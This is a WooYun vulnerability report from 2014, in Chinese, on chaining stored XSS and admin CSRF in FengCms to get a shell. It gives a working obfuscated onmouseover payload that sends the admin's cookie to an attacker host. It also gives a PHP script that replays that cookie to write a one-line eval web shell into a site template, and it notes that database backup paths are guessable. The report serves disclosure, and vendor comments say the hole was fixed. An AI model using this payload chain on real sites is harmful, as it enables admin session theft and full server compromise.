当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-071003

漏洞标题：FengCms交互式Getshell

相关厂商：fengcms.com

漏洞作者： JJ Fly

提交时间：2014-08-05 16:31

修复时间：2014-10-31 16:32

公开时间：2014-10-31 16:32

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-05： 细节已通知厂商并且等待厂商处理中
2014-08-10： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-10-04： 细节向核心白帽子及相关领域专家公开
2014-10-14： 细节向普通白帽子公开
2014-10-24： 细节向实习白帽子公开
2014-10-31： 细节向公众公开

简要描述：

小问题组合造成。

详细说明：

首先我们来留言这。

http://10.10.10.1/message_add.html


图片1.png


图中 内容 那个框中具体如下

产品型号  : wooyun - 1
" onmouseover="c=new Image();eval(String.fromCharCode(99,46,115,114,99,61,39,104,116,116,112,58,47,47,49,48,46,49,48,46,49,48,46,49,50,56,47,49,46,112,104,112,63,100,61,36,95,80,79,83,84,91,99,93,38,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))" x="


String.fromCharCode(..........)为下面的内容
c.src='http://10.10.10.128/1.php?d=$_POST[c]&c='+document.cookie


然后提交。
等管理员看到之后会进行回复。

图片2.png


回复之后

图片3.png


图片4.png


Cms只对前台进行了防护。对后台的输入没有进行防护。
然后等管理员回复之后xss就形成了
鼠标移动到标签那之后 会get一个数据包

图片5.png


然后剩下的就是 10.10.10.128这台机器的1.php的代码了

<?php
function get_content($url, $cookie) { 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_COOKIE,$cookie);
    curl_setopt($ch, CURLOPT_POST, 1);
    $post_date=array('name'=>'map','content'=>"<?php eval($_GET[d]);?>",'type'=>'1','project'=>'tpl');
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_date);
    $rs = curl_exec($ch);
    curl_close($ch); 
    return $rs; 
} 
print get_content("http://10.10.10.1//admin/index.php?controller=tplmanage&operate=save",$_GET['c']);


其实上面利用的是模块修改csrf这个小问题 。
在 后台-》系统-》模块-》编辑这。
我编辑的map这个模块。上面仅仅写入了测试的关键代码。
一开始老是不成功。。后来终于发现了原因。。。
Post的content不能直接写$_POST[c]，这样会调取利用xss get的那个数据包的 post的c参数。
所以我写成了 $_GET[d]然后在上面访问的连接加了一个d=$_POST[c]。

漏洞证明：

效果

图片6.png


图片7.png


图片8.png


还有一个问题 那就数据库备份问题

图片9.png


上面是备份出来的路径 ，完全可以爆破。
后面是时间戳。前面是日期。

修复方案：

你们更专业！

版权声明：转载请注明来源 JJ Fly@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-31 16:32

厂商回复：

最新状态：

2014-08-19：确认漏洞

漏洞评价：

评论

  1. 2014-08-05 16:45 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 今天播下一颗种子。)

    最后面添加的数据库那部分看错了，请自行忽略。。谢谢。

  2. 2014-08-11 09:14 | FengCMS(乌云厂商)

    @JJ Fly @疯狗 不好意思，前端时间去出差，导致没有及时关注乌云，希望可以帮忙一下，我们重新审核这个BUG。非常感谢！

  3. 2014-08-19 14:12 | FengCMS(乌云厂商)

    最新版已经修复了该漏洞，但是由于未能确认感到非常抱歉。我会在近期给两位白帽子送去礼物，再一次感谢，希望大家持续关注FengCMS！